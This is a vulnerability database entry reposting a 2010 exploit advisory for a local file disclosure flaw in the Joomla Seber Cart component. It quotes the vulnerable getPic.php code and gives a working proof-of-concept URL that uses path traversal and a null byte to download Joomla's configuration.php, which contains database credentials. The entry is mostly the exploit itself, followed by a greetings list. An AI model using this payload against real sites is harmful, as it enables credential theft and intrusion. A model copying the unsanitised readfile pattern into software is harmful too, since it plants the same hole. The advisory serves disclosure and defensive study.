Joomla Component Seber Cart (getPic.php) Local File Disclosure Vulnerability

2010-05-14T00:00:00
ID SSV:19625
Type seebug
Reporter Root
Modified 2010-05-14T00:00:00

Description

No description provided by source.

                                        
                                            
                                                =========================================================================================================
 
 
  [o] Joomla Component Seber Cart Local File Disclosure Vulnerability
  
       Software : com_sebercart version 1.0.0.1x
       Vendor   : http://www.seber.com.au/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/
 
 
=========================================================================================================
 
  [o] Vulnerable File
 
      components/com_sebercart/getPic.php
 
       if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))
    {  
    header('Content-type: image/jpeg');
    header('Content-Disposition: attachment; filename="image.jpg"');
    readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");
    }
 
 
  [o] Exploit
 
       http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00
 
    Download the image.jpg file and open with notepad or gedit.
 
 
  [o] PoC
 
       http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00
 
 
=========================================================================================================
 
 
  [o] Greetz
 
       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net
 
 
=========================================================================================================
 
 
  [o] May 13 2010 - GMT +07:00 Jakarta, Indonesia